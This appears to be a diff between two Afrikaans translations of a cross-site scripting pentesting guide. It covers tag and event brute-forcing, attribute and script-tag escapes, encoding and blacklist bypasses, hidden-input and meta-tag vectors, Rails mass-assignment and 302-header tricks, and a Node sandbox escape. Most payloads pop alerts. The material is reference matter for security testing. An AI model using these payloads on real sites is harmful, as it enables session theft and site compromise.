Daar is **JS-kode** wat **onveilig** van 'n aanvaller beheerde data gebruik soos `location.href`. 'n Aanvaller kan dit misbruik om arbitrêre JS-kode uit te voer.
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
@ -138,7 +138,7 @@ Daar is **JS-kode** wat **onveilig** van 'n aanvaller beheerde data gebruik soos
|
|||
|
||||
### **Universale XSS**
|
||||
|
||||
Hierdie soort XSS kan **oral** gevind word. Dit hang nie net af van die kliënt-uitbuiting van 'n webtoepassing nie, maar van **enige** **konteks**. Hierdie soort **willekeurige JavaScript-uitvoering** kan selfs misbruik word om **RCE** te verkry, **willekeurige lêers te lees** op kliënte en bedieners, en meer.\
|
||||
Hierdie soort XSS kan **oral** gevind word. Dit hang nie net af van die kliënt-uitbuiting van 'n webtoepassing nie, maar van **enige** **konteks**. Hierdie soort **arbitrêre JavaScript-uitvoering** kan selfs misbruik word om **RCE** te verkry, **arbitrêre** **lêers** in kliënte en bedieners te **lees**, en meer.\
|
||||
Sommige **voorbeelde**:
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -159,18 +159,18 @@ Wanneer jou inset **binne die HTML-bladsy** gereflekteer word of jy HTML-kode ka
|
|||
Vir hierdie gevalle moet jy ook in gedag hou [**Kliëntkant Sjablooninspuiting**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Nota: 'n HTML-kommentaar kan gesluit word met**** ****`-->`**** ****of**** ****`--!>`**_
|
||||
|
||||
In hierdie geval, en as geen swartlys/witlys gebruik word nie, kan jy ladingstukke soos gebruik:
|
||||
In hierdie geval en as geen swartlys/witlys gebruik word nie, kan jy ladingsoorte soos gebruik:
|
||||
```html
|
||||
<script>alert(1)</script>
|
||||
<img src=x onerror=alert(1) />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Maar, as tags/kenmerke swartlys/witlys gebruik word, sal jy moet **brute-force watter tags** jy kan skep.\
|
||||
Sodra jy **geïdentifiseer het watter tags toegelaat word**, sal jy moet **brute-force kenmerke/gebeurtenisse** binne die gevonde geldige tags om te sien hoe jy die konteks kan aanval.
|
||||
Maar, as tags/kenmerke swartlys/witlys gebruik word, sal jy nodig hê om **brute-force watter tags** jy kan skep.\
|
||||
Sodra jy **geïdentifiseer het watter tags toegelaat word**, sal jy nodig hê om **brute-force kenmerke/gebeure** binne die gevonde geldige tags te sien hoe jy die konteks kan aanval.
|
||||
|
||||
### Tags/Gebeurtenisse brute-force
|
||||
### Tags/Gebeure brute-force
|
||||
|
||||
Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na knipbord**_. Stuur dan almal met Burp intruder en kontroleer of enige tags nie as skadelik deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die gebeurtenisse** gebruik met die geldige tags (op dieselfde webbladsy klik op _**Kopieer gebeurtenisse na knipbord**_ en volg dieselfde prosedure as voorheen).
|
||||
Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na knipbord**_. Stuur dan almal met Burp intruder en kyk of enige tags nie as skadelik deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die gebeure** gebruik deur die geldige tags (op dieselfde webbladsy klik op _**Kopieer gebeure na knipbord**_ en volg dieselfde prosedure as voorheen).
|
||||
|
||||
### Aangepaste tags
|
||||
|
||||
|
@ -243,13 +243,13 @@ onerror=alert`1`
|
|||
```
|
||||
Die laaste een maak gebruik van 2 Unicode karakters wat uitbrei na 5: telsr\
|
||||
Meer van hierdie karakters kan gevind word [hier](https://www.unicode.org/charts/normalization/).\
|
||||
Om te kontroleer in watter karakters afgebreek word, kyk [hier](https://www.compart.com/en/unicode/U+2121).
|
||||
Om te kontroleer watter karakters ontbind is, kyk [hier](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Kliek XSS - Clickjacking
|
||||
|
||||
Indien om die kwesbaarheid uit te buit jy die **gebruiker nodig het om op 'n skakel of 'n vorm** met vooraf ingevulde data te kliek, kan jy probeer om [**Clickjacking te misbruik**](../clickjacking.md#xss-clickjacking) (as die bladsy kwesbaar is).
|
||||
Indien om die kwesbaarheid uit te buit jy die **gebruiker nodig het om op 'n skakel of 'n vorm te kliek** met vooraf ingevulde data, kan jy probeer om [**Clickjacking te misbruik**](../clickjacking.md#xss-clickjacking) (as die bladsy kwesbaar is).
|
||||
|
||||
### Onmoontlik - Hangende Opmaak
|
||||
### Onmoontlik - Hangende Markup
|
||||
|
||||
Indien jy net dink dat **dit onmoontlik is om 'n HTML-tag te skep met 'n attribuut om JS-kode uit te voer**, moet jy [**Danglig Markup**](../dangling-markup-html-scriptless-injection/) nagaan omdat jy die kwesbaarheid kan **uitbuit** sonder om **JS**-kode uit te voer.
|
||||
|
||||
|
@ -257,8 +257,8 @@ Indien jy net dink dat **dit onmoontlik is om 'n HTML-tag te skep met 'n attribu
|
|||
|
||||
### Binne die tag/ontsnapping vanaf attribuutwaarde
|
||||
|
||||
Indien jy **binne 'n HTML-tag** is, kan jy eerste probeer om te **ontsnap** van die tag en van die tegnieke wat genoem word in die [vorige afdeling](./#injecting-inside-raw-html) gebruik om JS-kode uit te voer.\
|
||||
Indien jy **nie kan ontsnap van die tag nie**, kan jy nuwe eienskappe binne die tag skep om te probeer om JS-kode uit te voer, byvoorbeeld deur 'n sekere lading te gebruik (_let daarop dat in hierdie voorbeeld dubbele aanhalingstekens gebruik word om te ontsnap vanaf die attribuut, jy sal hulle nie nodig hê as jou inset direk binne die tag weerspieël word_):
|
||||
Indien jy **binne 'n HTML-tag** is, kan jy eerste probeer om uit die tag te **ontsnap** en van die tegnieke wat genoem word in die [vorige afdeling](./#injecting-inside-raw-html) te gebruik om JS-kode uit te voer.\
|
||||
Indien jy **nie kan ontsnap vanaf die tag nie**, kan jy nuwe eienskappe binne die tag skep om te probeer om JS-kode uit te voer, byvoorbeeld deur 'n sekere lading te gebruik (_let daarop dat in hierdie voorbeeld dubbele aanhalingstekens gebruik word om te ontsnap vanaf die attribuut, jy sal hulle nie nodig hê as jou inset direk binne die tag weerspieël word_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
|
@ -275,8 +275,8 @@ Indien jy **nie kan ontsnap van die tag nie**, kan jy nuwe eienskappe binne die
|
|||
```
|
||||
### Binne die attribuut
|
||||
|
||||
Selfs as jy **nie kan ontsnap van die attribuut nie** (`"` word gekodeer of verwyder), afhangende van **watter attribuut** jou waarde weerspieël waaroor jy beheer het **of net 'n deel daarvan** sal jy dit kan misbruik. By **voorbeeld**, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit kan maak om willekeurige kode uit te voer wanneer dit geklik word.\
|
||||
'n Ander interessante **voorbeeld** is die attribuut `href`, waar jy die `javascript:` protokol kan gebruik om willekeurige kode uit te voer: **`href="javascript:alert(1)"`**
|
||||
Selfs as jy **nie kan ontsnap van die attribuut nie** (`"` word gekodeer of verwyder), afhangende van **watter attribuut** jou waarde weerspieël as **jy al die waarde beheer of net 'n deel daarvan** sal jy dit kan misbruik. By **voorbeeld**, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit kan maak om arbitêre kode uit te voer wanneer dit geklik word.\
|
||||
'n Ander interessante **voorbeeld** is die attribuut `href`, waar jy die `javascript:` protokol kan gebruik om arbitêre kode uit te voer: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Bypass binne gebeurtenis deur HTML-kodering/URL-kodering**
|
||||
|
||||
|
@ -355,7 +355,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
|||
```
|
||||
**Ander verduisteringstreke**
|
||||
|
||||
_**In hierdie geval is die HTML-kodering en die Unicode-koderingstrik van die vorige afdeling ook geldig omdat jy binne 'n eienskap is.**_
|
||||
_**In hierdie geval is die HTML-kodering en die Unicode-koderingstrik van die vorige afdeling ook geldig omdat jy binne 'n attribuut is.**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
|
@ -365,9 +365,9 @@ Verder is daar nog 'n **mooi truuk** vir hierdie gevalle: **Selfs as jou inset b
|
|||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Merk op dat as jy probeer om **beide** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te kodeer, sal dit **nie werk nie**, maar jy kan hulle **binne die payload meng**.
|
||||
Merk op dat as jy probeer om **beide** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te kodeer, sal dit **nie** **werk** nie, maar jy kan hulle **binne die payload meng**.
|
||||
|
||||
**Die gebruik van Hex en Octal kodeer met `javascript:`**
|
||||
**Gebruik Hex en Octal kodeer saam met `javascript:`**
|
||||
|
||||
Jy kan **Hex** en **Octal kodeer** binne die `src` attribuut van `iframe` (ten minste) gebruik om **HTML-tags te verklaar om JS uit te voer**:
|
||||
```javascript
|
||||
|
@ -409,14 +409,14 @@ Firefox: %09 %20 %28 %2C %3B
|
|||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS in "Onuitbuitbare tags" (verborge invoer, skakel, kanonieke, meta)
|
||||
### XSS in "Onuitbuitbare tages" (verborge invoer, skakel, kanonieke, meta)
|
||||
|
||||
Vanaf [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **is dit nou moontlik om verborge insette te misbruik met:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||
```
|
||||
En in **meta-tjags**:
|
||||
En in **meta-tabelle**:
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
|
||||
|
@ -424,33 +424,33 @@ En in **meta-tjags**:
|
|||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS-lading binne 'n verborge attribuut** uitvoer, mits jy die **slagoffer** kan **oortuig** om die **sleutelkombinasie** te druk. Op Firefox Windows/Linux is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die toegangssleutel attribuut te gebruik. Hier is die vektor:
|
||||
Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS-lading binne 'n verborge atribuut** uitvoer, mits jy die **slagoffer** kan **oortuig** om die **sleutelkombinasie** te druk. Op Firefox Windows/Linux is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die toegangssleutel atribuut te gebruik. Hier is die vektor:
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**Die XSS-lading sal iets soos hierdie wees: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
### Swartlys deurlooppaaie
|
||||
### Swartlys deurloophoeveelhede
|
||||
|
||||
Verskeie truuks met die gebruik van verskillende enkodering is reeds binne hierdie afdeling blootgestel. Gaan **terug om te leer waar jy kan gebruik:**
|
||||
Verskeie truuks met die gebruik van verskillende enkodering is reeds blootgestel binne hierdie afdeling. Gaan **terug om te leer waar jy kan gebruik:**
|
||||
|
||||
* **HTML-enkodering (HTML-etikette)**
|
||||
* **Unicode-enkodering (kan geldige JS-kode wees):** `\u0061lert(1)`
|
||||
* **URL-enkodering**
|
||||
* **Heks en Oktale enkodering**
|
||||
* **data-enkodering**
|
||||
* **Heks-en Oktalenkodering**
|
||||
* **Data-enkodering**
|
||||
|
||||
**Deurlooppaaie vir HTML-etikette en eienskappe**
|
||||
**Deurloophoeveelhede vir HTML-etikette en eienskappe**
|
||||
|
||||
Lees die [Swartlys deurlooppaaie van die vorige afdeling](./#blacklist-bypasses).
|
||||
Lees die [Swartlys deurloophoeveelhede van die vorige afdeling](./#blacklist-bypasses).
|
||||
|
||||
**Deurlooppaaie vir JavaScript-kode**
|
||||
**Deurloophoeveelhede vir JavaScript-kode**
|
||||
|
||||
Lees die [JavaScript deurloop swartlys van die volgende afdeling](./#javascript-bypass-blacklists-techniques).
|
||||
Lees die [JavaScript deurloophoeveelde swartlys van die volgende afdeling](./#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
As jy 'n **XSS in 'n baie klein deel** van die web gevind het wat 'n soort interaksie vereis (miskien 'n klein skakel in die voetnota met 'n onmouseover element), kan jy probeer om **die spasie wat die element inneem te wysig** om die kanse te maksimeer om die skakel te laat afgaan.
|
||||
As jy 'n **XSS in 'n baie klein deel** van die web gevind het wat 'n soort interaksie vereis (miskien 'n klein skakel in die voetnota met 'n onmouseover-element), kan jy probeer om **die spasie wat daardie element inneem te wysig** om die kanse te maksimeer om die skakel te laat afgaan.
|
||||
|
||||
Byvoorbeeld, jy kan bietjie styl by die element voeg soos: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
|
@ -470,19 +470,19 @@ Hierdie truuk is geneem van [https://medium.com/@skavans\_/improving-the-impact-
|
|||
|
||||
## Ins spuit binne JavaScript-kode
|
||||
|
||||
In hierdie geval sal jou **inset** binne die JS-kode wees wat gereflekteer word in 'n `.js`-lêer of tussen `<script>...</script>`-etikette of tussen HTML-gebeurtenisse wat JS-kode kan uitvoer of tussen eienskappe wat die `javascript:`-protokol aanvaar.
|
||||
In hierdie geval gaan jou **inskrywing** binne die JS-kode wees van 'n `.js`-lêer of tussen `<script>...</script>`-etikette of tussen HTML-gebeurtenisse wat JS-kode kan uitvoer of tussen eienskappe wat die `javascript:`-protokol aanvaar.
|
||||
|
||||
### Ontsnapping van die \<script> etiket
|
||||
### Ontsnapping van die \<script>-etiket
|
||||
|
||||
As jou kode binne `<script> [...] var input = 'gereflekteerde data' [...] </script>` ingevoeg word, kan jy maklik die **ontsnapping van die sluiting van die `<script>`** etiket:
|
||||
As jou kode binne `<script> [...] var input = 'weerspieëlde data' [...] </script>` ingevoeg word, kan jy maklik die **ontsnapping van die sluiting van die `<script>`-etiket** doen:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Merk op dat ons in hierdie voorbeeld selfs die enkel aanhalingsteken **nie eers gesluit het nie**. Dit is omdat **HTML-analise word eerste deur die webblaaier** uitgevoer, wat die identifisering van bladsyelemente insluit, insluitend blokke van skrips. Die analisering van JavaScript om die ingeslote skripte te verstaan en uit te voer, word eers daarna uitgevoer.
|
||||
Merk op dat ons in hierdie voorbeeld selfs die enkel aanhalingsteken **nie eers gesluit het nie**. Dit is omdat **HTML-analise word eerste deur die webblaaier uitgevoer**, wat die identifisering van bladsyelemente insluit, insluitend blokke van skrips. Die analisering van JavaScript om die ingeslote skripte te verstaan en uit te voer, word eers daarna uitgevoer.
|
||||
|
||||
### Binne JS-kode
|
||||
|
||||
As `<>` gesanitiseer word, kan jy steeds die string **ontvlug** waar jou inset is **geleë** en **arbitrêre JS uitvoer**. Dit is belangrik om die JS-sintaksie te **regmaak**, want as daar enige foute is, sal die JS-kode nie uitgevoer word nie:
|
||||
As `<>` gesaniteer word, kan jy steeds die string **ontvlug** waar jou inset is **geleë** en **arbitrêre JS uitvoer**. Dit is belangrik om die JS-sintaksie te **herstel**, want as daar enige foute is, sal die JS-kode nie uitgevoer word nie:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
|
@ -490,8 +490,8 @@ As `<>` gesanitiseer word, kan jy steeds die string **ontvlug** waar jou inset i
|
|||
```
|
||||
### Sjabloonliterale \`\`
|
||||
|
||||
Om **strings** saam te stel behalwe enkel en dubbele aanhalingstekens, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as sjabloonliterale omdat hulle toelaat om **ingeslote JS-uitdrukkings** te gebruik met behulp van `${ ... }`-sintaksis.\
|
||||
Daarom, as jy vind dat jou inset binne 'n JS-string **weerspieël** word wat backticks gebruik, kan jy die sintaksis `${ ... }` misbruik om **willekeurige JS-kode** uit te voer:
|
||||
Om **strings** saam te stel behalwe enkel en dubbele aanhalingstekens, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as sjabloonliterale omdat hulle toelaat om **ingebedde JS-uitdrukkings** te gebruik met behulp van `${ ... }`-sintaksis.\
|
||||
Dus, as jy vind dat jou inset binne 'n JS-string **weerspieël** word wat backticks gebruik, kan jy die sintaksis `${ ... }` misbruik om **willekeurige JS-kode** uit te voer:
|
||||
|
||||
Dit kan **misbruik** word deur:
|
||||
```javascript
|
||||
|
@ -504,7 +504,7 @@ Dit kan **misbruik** word deur:
|
|||
function loop(){return loop}
|
||||
loop``````````````
|
||||
```````````````
|
||||
### Geënkripteerde kode-uitvoering
|
||||
### Gekodeerde kode-uitvoering
|
||||
```markup
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
|
@ -733,23 +733,23 @@ top['al\x65rt'](1)
|
|||
top[8680439..toString(30)](1)
|
||||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||||
````
|
||||
## **DOM kwesbaarhede**
|
||||
## **DOM kwetsbaarhede**
|
||||
|
||||
Daar is **JS-kode** wat **onveilig deur 'n aanvaller beheerde data** gebruik soos `location.href`. 'n Aanvaller kan dit misbruik om willekeurige JS-kode uit te voer.\
|
||||
**As gevolg van die uitbreiding van die verduideliking van** [**DOM kwesbaarhede is dit na hierdie bladsy verskuif**](dom-xss.md)**:**
|
||||
**As gevolg van die uitbreiding van die verduideliking van** [**DOM kwetsbaarhede is dit na hierdie bladsy verskuif**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Daar sal jy 'n gedetailleerde **verduideliking van wat DOM kwesbaarhede is, hoe hulle uitgelok word, en hoe om hulle te benut** vind.\
|
||||
Daar sal jy 'n gedetailleerde **verduideliking van wat DOM kwetsbaarhede is, hoe hulle uitgelok word, en hoe om hulle te benut** vind.\
|
||||
Moenie ook vergeet dat **aan die einde van die genoemde pos** jy 'n verduideliking kan vind oor [**DOM Clobbering aanvalle**](dom-xss.md#dom-clobbering).
|
||||
|
||||
## Ander Oorskrydings
|
||||
|
||||
### Gestandaardiseerde Unicode
|
||||
|
||||
Jy kan nagaan of die **weerspieëlde waardes** op die bediener (of aan die kliëntkant) **unicode genormaliseer** word en hierdie funksionaliteit misbruik om beskermings te omseil. [**Vind 'n voorbeeld hier**](../unicode-injection/#xss-cross-site-scripting).
|
||||
Jy kan nagaan of die **weerspieëlde waardes** in die bediener (of aan die kant van die kliënt) **unicode genormaliseer** word en hierdie funksionaliteit misbruik om beskermings te omseil. [**Vind 'n voorbeeld hier**](../unicode-injection/#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER\_VALIDATE\_EMAIL vlag Oorskryding
|
||||
```javascript
|
||||
|
@ -757,7 +757,7 @@ Jy kan nagaan of die **weerspieëlde waardes** op die bediener (of aan die klië
|
|||
```
|
||||
### Ruby-On-Rails omseiling
|
||||
|
||||
As gevolg van **RoR massatoewysing** word aanhalings in die HTML ingevoeg en dan word die aanhalingsbeperking omseil en addisionele velde (onfocus) kan binne die tag bygevoeg word.\
|
||||
As gevolg van **RoR massatoewysing** word aanhalings in die HTML ingevoeg en dan word die aanhalingsbeperking omseil en addisionele velde (onfocus) binne die tag bygevoeg.\
|
||||
Vormvoorbeeld ([van hierdie verslag](https://hackerone.com/reports/709336)), as jy die lading stuur:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
|
@ -766,6 +766,8 @@ Die paar "Sleutel","Waarde" sal teruggevoer word soos dit:
|
|||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
Dan sal die onfocus-eienskap ingevoeg word en XSS gebeur.
|
||||
|
||||
### Spesiale kombinasies
|
||||
```markup
|
||||
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
||||
|
@ -798,19 +800,20 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
```
|
||||
### XSS met koptekstinjeksie in 'n 302-antwoord
|
||||
|
||||
As jy vind dat jy **koptekste kan inspuit in 'n 302 Herlei-antwoord** kan jy probeer om die blaai uit te voer om arbitrêre JavaScript uit te voer. Dit is **nie maklik nie** aangesien moderne blaaier nie die HTTP-antwoordliggaam interpreteer as die HTTP-antwoordstatuskode 'n 302 is nie, so net 'n kruissite-skripsinglading is nutteloos.
|
||||
As jy vind dat jy **koptekste kan inspuit in 'n 302 Herlei-antwoord** kan jy probeer om die blaai uit te voer **willekeurige JavaScript**. Dit is **nie triviaal** nie aangesien moderne blaaiers nie die HTTP-antwoordliggaam interpreteer as die HTTP-antwoordstatuskode 'n 302 is nie, so net 'n kruissite-skripsinjeksie-lading is nutteloos.
|
||||
|
||||
In [**hierdie verslag**](https://www.gremwell.com/firefox-xss-302) en [**hierdie een**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Ligging-koptekstuk kan toets en sien of enige van hulle die blaai toelaat om die XSS-lading binne die liggaam te inspekteer en uit te voer. Bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Ligging-koptekstuk_, `resource://`.
|
||||
In [**hierdie verslag**](https://www.gremwell.com/firefox-xss-302) en [**hierdie een**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Ligging-koptekst kan toets en sien of enige van hulle die blaaier toelaat om die XSS-lading binne die liggaam te inspekteer en uit te voer.\
|
||||
Vroeër bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Ligging-koptekst_, `resource://`.
|
||||
|
||||
### Slegs Letters, Syfers en Kolletjies
|
||||
|
||||
As jy in staat is om die **terugroep** aan te dui wat javascript gaan **uitvoer** beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie pos**](./#javascript-function) om uit te vind hoe om hierdie gedrag te misbruik.
|
||||
As jy in staat is om die **terugroep** aan te dui wat javascript gaan **uitvoer** beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie pos**](./#javascript-function) om te vind hoe om van hierdie gedrag misbruik te maak.
|
||||
|
||||
### Geldige `<script>` Inhoudstipes vir XSS
|
||||
|
||||
(Van [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) As jy probeer om 'n skrips te laai met 'n **inhoudstipe** soos `application/octet-stream`, sal Chrome die volgende fout gooi:
|
||||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') omdat sy MIME-tipe (‘application/octet-stream’) nie uitvoerbaar is nie, en streng MIME-tipekontrole is geaktiveer.
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
Die enigste **Inhoudstipes** wat Chrome sal ondersteun om 'n **gelaai skrips** uit te voer is diegene binne die konstante **`kSupportedJavascriptTypes`** van [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
```c
|
||||
|
@ -836,7 +839,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
```
|
||||
### Skripsie Tipes vir XSS
|
||||
|
||||
(Van [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) So, watter tipes kan aangedui word om 'n skripsie te laai?
|
||||
(Vanaf [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) So, watter tipes kan aangedui word om 'n skripsie te laai?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
|
@ -870,9 +873,9 @@ import moment from "moment";
|
|||
import { partition } from "lodash";
|
||||
</script>
|
||||
```
|
||||
Hierdie gedrag is gebruik in [**hierdie skryfstuk**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herken aan eval om dit te misbruik en XSS te veroorsaak.
|
||||
Hierdie gedrag is gebruik in [**hierdie skryfstuk**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herken as eval om dit te misbruik en XSS te veroorsaak.
|
||||
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om sekere probleme veroorsaak deur vooraf-rendering op te los. Dit werk soos volg:
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om sekere probleme wat veroorsaak word deur vooraf-rendering op te los. Dit werk soos volg:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
|
@ -890,7 +893,7 @@ Hierdie gedrag is gebruik in [**hierdie skryfstuk**](https://github.com/zwade/ya
|
|||
```
|
||||
### Web Inhoudstipes vir XSS
|
||||
|
||||
(Vanaf [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die volgende inhoudstipes kan XSS uitvoer in alle webblaaier:
|
||||
(Van [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die volgende inhoudstipes kan XSS uitvoer in alle webblaaier:
|
||||
|
||||
* text/html
|
||||
* application/xhtml+xml
|
||||
|
@ -905,7 +908,7 @@ In ander webblaaier kan ander **`Inhoudstipes`** gebruik word om willekeurige JS
|
|||
|
||||
### xml Inhoudstipe
|
||||
|
||||
As die bladsy 'n text/xml inhoudstipe terugstuur, is dit moontlik om 'n namespace aan te dui en willekeurige JS uit te voer:
|
||||
As die bladsy 'n text/xml inhoudstipe teruggee, is dit moontlik om 'n namespace aan te dui en willekeurige JS uit te voer:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
|
@ -915,7 +918,7 @@ As die bladsy 'n text/xml inhoudstipe terugstuur, is dit moontlik om 'n namespac
|
|||
```
|
||||
### Spesiale Vervangingspatrone
|
||||
|
||||
Wanneer iets soos **`"some {{template}} data".replace("{{template}}", <user_input>)`** gebruik word. Die aanvaller kan [**spesiale stringvervanginge**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) gebruik om te probeer om sekere beskermings te omseil: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
Wanneer iets soos **`"some {{template}} data".replace("{{template}}", <user_input>)`** gebruik word. Die aanvaller kan [**spesiale stringvervanging**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) gebruik om te probeer om sekere beskermings te omseil: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
|
||||
Byvoorbeeld in [**hierdie skryfstuk**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), is dit gebruik om 'n JSON-string binne 'n skripsie te ontsnap en arbitrêre kode uit te voer.
|
||||
|
||||
|
@ -958,7 +961,7 @@ constructor(source)()
|
|||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Indien **alles ongedefinieerd is** voor die uitvoering van onbetroubare kode (soos in [**hierdie skryfstuk**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) is dit moontlik om nuttige voorwerpe "uit niks" te genereer om die uitvoering van willekeurige onbetroubare kode te misbruik:
|
||||
Indien **alles ongedefinieerd is** voor die uitvoering van onbetroubare kode (soos in [**hierdie uiteensetting**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) is dit moontlik om nuttige voorwerpe "uit niks" te genereer om die uitvoering van willekeurige onbetroubare kode te misbruik:
|
||||
|
||||
* Deur import()
|
||||
```javascript
|
||||
|
@ -981,7 +984,7 @@ Daarom, as ons van daardie module **'n ander funksie kan roep**, is dit moontlik
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om **fouthanteraars te gebruik** om toegang te kry tot die **omhulsel** van die module en die **`require`**-funksie te kry:
|
||||
Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om **fouthanteraars te gebruik** om toegang te verkry tot die **omhulsel** van die module en die **`require`**-funksie te kry:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
|
